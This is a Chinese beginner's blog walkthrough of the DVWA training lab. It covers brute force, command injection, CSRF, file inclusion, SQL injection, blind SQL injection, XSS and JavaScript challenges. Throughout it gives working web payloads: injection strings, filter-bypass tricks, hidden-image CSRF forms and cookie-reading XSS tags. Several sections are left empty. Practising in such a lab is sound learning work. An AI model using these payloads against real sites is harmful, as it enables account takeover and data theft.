DVWA-写给自己看的傻瓜式教程

安装

下载PHPstudy

->官网下载

下载DVWA

->官网下载64位版本
->将压缩包解压在PHP study的WWW文件目录下
->将DVWA-master下config下的文件改名为config.inc.php
->将文件中密码改为root

配置DVWA

->打开http://localhost/dvwa-master/setup.php

->点击create,进入登陆页面即成功
->然而我第一次创建时候的提示是:

->然后根据网上搜的解决方法,把config下的php文件密码改成了空,依然不行
->然后我通过改PHP study里数据库的密码为123456

->php文件里的密码也改成了123456.

->然后重启PHP study
->创建成功,进入登陆页面

DVWA登录

->用户名admin,密码password

我也不知道为什么这次就成功了,也并不知道问题出在哪里,GG
我对着运行管理器看了半天端口问题,最后改密码倒是成功了
有小可爱会解答一下给我吗



暴力破解—弱口令漏洞

处置措施:限定登录错误次数、设置验证码、使用复杂强密码
挖掘方法:使用 GoogleHacking 语法进行寻找登录页面

inurl:login
intext:后台登录

遗留:ssh弱口令爆破?带验证码破解?密码加密?


Low/Medium

->Low与Medium,操作相同,但Medium时间延长
在这里插入图片描述
->抓包,send to intruder

Sniper –
这个是我们最常用的,Sniper是狙击手的意思。这个模式会使用单一的payload【就是导入字典的payload】组。它会针对每个position中$$位置设置payload。这种攻击类型适合对常见漏洞中的请求参数单独地进行测试。攻击中的请求总数应该是position数量和payload数量的乘积。
Battering ram –
这一模式是使用单一的payload组。它会重复payload并且一次把所有相同的payload放入指定的位置中。这种攻击适合那种需要在请求中把相同的输入放到多个位置的情况。请求的总数是payload组中payload的总数。简单说就是一个playload字典同时应用到多个position中
Pitchfork –
这一模式是使用多个payload组。对于定义的位置可以使用不同的payload组。攻击会同步迭代所有的payload组,把payload放入每个定义的位置中。比如:position中A处有a字典,B处有b字典,则a【1】将会对应b【1】进行attack处理,这种攻击类型非常适合那种不同位置中需要插入不同但相关的输入的情况。请求的数量应该是最小的payload组中的payload数量
Cluster bomb –
这种模式会使用多个payload组。每个定义的位置中有不同的payload组。攻击会迭代每个payload组,每种payload组合都会被测试一遍。比如:position中A处有a字典,B处有b字典,则两个字典将会循环搭配组合进行attack处理这种攻击适用于那种位置中需要不同且不相关或者未知的输入的攻击。攻击请求的总数是各payload组中payload数量的乘积

在这里插入图片描述
->start attack
在这里插入图片描述


High

->数据包多一字段,不能继续使用相同方法
在这里插入图片描述
->Pitchfork模式
在这里插入图片描述
->线程为1
在这里插入图片描述
->允许重定向
在这里插入图片描述
->通过正则截取response中信息
在这里插入图片描述
->分别设置字段字典
在这里插入图片描述
->爆破
在这里插入图片描述



命令注入

防范措施:禁用高危系统函数、严格过滤字符、限制允许的参数类型

问题:为什么不能使用net 命令


Low

问题一:乱码
在这里插入图片描述
解决方法:将dvwa目录下includes文件夹中dvwaPage.inc.php文件的编码格式由utf8改为GBK

在这里插入图片描述
->顺利ping 127.0.0.1

在这里插入图片描述
在这里插入图片描述

问题二:对net user 无反应???
经查,将php.ini中disable_functions中的shell_exec()删除
在这里插入图片描述
结果:依旧不行
在这里插入图片描述
其他命令可执行
在这里插入图片描述
在这里插入图片描述


Medium

->代码截图
在这里插入图片描述
->‘&&’已不可
在这里插入图片描述
->’&'可
在这里插入图片描述
->net user 依旧没反应(气炸)
在这里插入图片描述


High

->代码
在这里插入图片描述
->‘&&‘和’&‘都不可
->注意代码中’| '有一空格符
->执行127.0.0.1|ping www.baidu.com(符号后无空格)
在这里插入图片描述



CSRF—跨站请求伪造

防范措施:


Low

->抓取URL
在这里插入图片描述
->构造含链接文档

<img src="http://192.168.0.237/dvwa-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change" border="0" style="display:none;"/>
<h1>404</h1>
<h2>file notfound.</h2>

->页面效果

在这里插入图片描述
->使用与运行DVWA同一浏览器(同一浏览器才读得出cookie)打开HTML文档,即可篡改密码


Medium

->对比代码
->stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)
->意思即:在http包中referer字段处找到server_name服务器名=在伪造请求的连接中,referer字段要有被攻击方的服务器名
在这里插入图片描述
->构造伪造请求文档,文件名改为被攻击方ip(192.168.239.129.html),放在DVWA根目录下(本地127.0.0.1路径),使用相同浏览器访问
在这里插入图片描述
->查看包,referer中存在192.168.239.129(被攻击的用户服务器名,127.0.0.1相当于攻击方服务器)
在这里插入图片描述

问题:发现,点击此请求伪造连接,需要在DVWA登录状态时,若登出时点击,则无法更改密码,为什么???
因为一旦退出,则服务器与浏览器之间的会话已失效,具体可再看看CSRF原理


High

->分析源码,每次访问csrf页面,服务器会返回一个token值,向服务器发起请求时需要提交正确的token。
在这里插入图片描述
->利用xss存储型high漏洞,通过抓包修改,利用name框得到token值

<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName("user_token")[0].value)>

在这里插入图片描述
->抓包发现比之前多了一段user_token
在这里插入图片描述
->构造含链接文档

<img src="http://192.168.239.129/dvwa-master/vulnerabilities/csrf/?password_new=pass123&password_conf=pass123&Change=Change&user_token=24d57a8468208861a32da89b06a4de2d" border="0" style="display:none;"/>
<h1>404</h1>
<h2>file notfound.</h2>

->同一浏览器打开攻击文档,得到token后不可再次打开csrf页面,token会更新


Impossible

->改密码时需要输入原密码,若不知道原密码则无法进行CSRF攻击
在这里插入图片描述



文件包含

关于The PHP function allow_url_include is not enabled
除了改变dvwa路径下php.ini,还要改变extensions下php路径下的php.ini


Low

在这里插入图片描述
->将所有php.ini文件中allow_url_include改为on
在这里插入图片描述
->抓包,在父目录中放入1.txt
->txt文件中内容

<?php
   phpinfo();
?>

->改路径
在这里插入图片描述


Medium

->看源码
vulnerabilities/fi/source/medium.php

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?> 

->可以看出,过滤了一部分字符

使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。

例如page=hthttp://tp://192.168.5.12/phpinfo.txt时,str_replace函数会将http://删除,于是page=http://192.168.5.12/phpinfo.txt,成功执行远程命令。

同时,因为替换的只是“…/”、“…\”,所以对采用绝对路径的方式包含文件是不会受到任何限制的。


High

->分析源码

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
?> 

->要求文件开头必须是file才会文件包含
->构造URL

192.168.239.129/dvwa-master/vulnerabilities/fi/?page=file:///C:\phpStudy_64\phpstudy_pro\WWW\DVWA-master/php.ini

在这里插入图片描述



文件上传


Low


Medium


High



Insecure CAPTCHA


Low


Medium


High



SQL注入

动手前查看了无数DVWA示例博客,自信满满的开始SQL注入

结果。。。不仅自己尝试失败,我还把我所有看过的示例放进去全都失败,配置好环境以后就这样被阻滞了进程。。。还没入门就劝退

经过两天的折腾与折磨,我终于发现问题所在——我的安全级别居然是——impossible!尼玛。。。

把级别换成LOW,我终于可以动手了。嘤嘤嘤。


Low

–>确认可注入(判断为字符型)

–>确认字段值
在这里插入图片描述
–>确认库名
在这里插入图片描述
–>确认全部库名
在这里插入图片描述

–>通过库名确认表名
在这里插入图片描述
在这里插入图片描述

–>通过表名确认字段名
在这里插入图片描述
在这里插入图片描述
–>通过字段名获取关键字段值
在这里插入图片描述
在这里插入图片描述
->获得了用户名与密码,over

问题一为什么使用UNION联合查询 select 1,3不能显示表内全部行数?
在这里插入图片描述
在这里插入图片描述
解答:union 会自动去重,union all不去重
在这里插入图片描述

问题二为什么users不止两列,却只能使用到order by 2?
解答:order by 是根据你所查询的字段值来排序,而本页面查询字段值为2。
在这里插入图片描述

问题三
当我输入——1’ and 1=2 union select 1,table_name from information_schema.tables where table_schema=‘dvwa’#
页面报错:
在这里插入图片描述
经查,问题在于字符编码值不匹配。
查验数据库,排序规则不同
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

解决方法
输入
1’ and 1=2 union select ‘1’,table_name COLLATE utf8_general_ci from information_schema.tables where table_schema='dvwa
(but,这是我通过数据库直接查看了排序规则,若无法查看数据库,通过网页注入,如何解决?)

在这里插入图片描述
部分简易笔记
table_schema是数据库的名称
table_name是具体的表名
COLLATE转换字符编码排序规则(?)
库中找表–>from information_schema.tables
库中找列–>from information_schema.columns


Medium

->若无法抓包,可将localhost改为本地ip

->Medium注入页面
在这里插入图片描述
->使用Burpsuite
->打开浏览器-工具-Internet选项-局域网设置-代理服务器
在这里插入图片描述
->打开Burpsuite抓包(可判断为数字型注入)
在这里插入图片描述
->更改id(略过中间注入步骤)
在这里插入图片描述
->where table_schema='dvwa’报错,符号被限制,使用database()
在这里插入图片描述
->where table_name='users’报错,符号被限制,使用十六进制编码绕开
在这里插入图片描述

->获取user,password
在这里插入图片描述


High

->根据源代码可判断字符型注入
在这里插入图片描述
->与low注入步骤基本一致,区别在于不报错
在这里插入图片描述

->爆出用户名和密码
在这里插入图片描述



SQL注入(盲注)

1.判断是否存在注入,注入是字符型还是数字型

2.猜解当前数据库名

3.猜解数据库中的表名

4.猜解表中的字段名

5.猜解数据


Low

->判断是否存在注入
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
->存在字符型注入
->判断数据库名长度

1' and length(database()) = 4#

在这里插入图片描述
->使用二分法猜解数据库名

输入1’ and ascii(substr(databse(),1,1))>97
#,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);

输入1’ and ascii(substr(databse(),1,1))<122
#,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);

输入1’ and ascii(substr(databse(),1,1))<109
#,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);

输入1’ and ascii(substr(databse(),1,1))<103
#,显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);

输入1’ and ascii(substr(databse(),1,1))<100
#,显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);

输入1’ and ascii(substr(databse(),1,1))>100
#,显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。


重复上述步骤,就可以猜解出完整的数据库名(dvwa)了。

1' and database()='dvwa' #

在这里插入图片描述

3.猜解数据库中的表名
首先猜解数据库中表的数量:

。。。
https://www.freebuf.com/articles/web/120985.html


Medium


High



Weak Session IDs



XSS(DOM)

https://blog.csdn.net/qq_36119192/article/details/82932557


Low


Medium


High



XSS(reflected)


Low

->代码无任何过滤,直接插入代码反射cookie

<script>alert(document.cookie)</script>

在这里插入图片描述


Medium

->分析代码
在这里插入图片描述
->html标签不区分大小写,将script大小写改动,绕过str_replace函数

<scripT>alert(document.cookie)</scripT>

在这里插入图片描述


High

->分析源码,对script标签做了 ==正则(?)==过滤
在这里插入图片描述
->换其他可用标签

<a href='' onclick=alert(document.cookie)>click1</a>
<body onload=alert(document.cookie)>
<img src='' onerror=alert(document.cookie)>

在这里插入图片描述


Impossible

->分析源码
在这里插入图片描述
->htmlspecialchars函数:把预定义的字符 “<” 和 “>” 转换为 HTML 实体,<>这两个标签字符变为html实体就无法构造标签攻击了



XSS(stored)


Low

->分析源码,可使用XSS反射型攻击方式,若受name长度限制,可先抓包再修改
->每当有人打开留言,就会执行注入的标签攻击
在这里插入图片描述


Medium

->分析代码,name过滤了script标签,message过滤了标签
在这里插入图片描述
->可通过抓包修改在name中注入标签攻击,绕过过滤

<scripT>alert(document.cookie)</scripT>

High

->分析源码,message过滤了标签,name使用正则过滤了script
在这里插入图片描述
->使用其他标签通过抓包修改,在name中注入标签攻击

<a href='' onclick=alert(document.cookie)>click1</a>
<body onload=alert(document.cookie)>
<img src='' onerror=alert(document.cookie)>

Imposiible



CSP Bypass



JavaScript Attacks


Low

->输入success
在这里插入图片描述
->分析源码
在这里插入图片描述
->将phrase的value值改为"success"或者直接在输入框内输入"success"
在这里插入图片描述
->在控制台执行generate_token() //必须先将phrase的value改为"success"再执行函数
在这里插入图片描述
->well done 执行成功
在这里插入图片描述


Medium

->分析源码
先执行do_elsesomething(“XX”),e=“XX”,再执行do_something(e)
在这里插入图片描述

->在控制台执行do_elsesomething(“XX”) //先将输入框的value改为success
在这里插入图片描述
->提交,well done


High

->js存在代码混淆
在这里插入图片描述
->混淆逆向网址-http://deobfuscatejavascript.com/
在这里插入图片描述
->分析代码,执行顺序
1.token_part_1(“ABCD”, 44);
2.token_part_2(“XX”)
3.点击时执行token_part_3(t, y = “ZZ”)
在这里插入图片描述
->在控制台操作
1.在框内输入success
2.执行token_part_1(“ABCD”, 44);
3.执行token_part_2(“XX”)
4.提交
在这里插入图片描述
->well done 提交成功


Impossible

在这里插入图片描述

  • 9
    点赞
  • 39
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值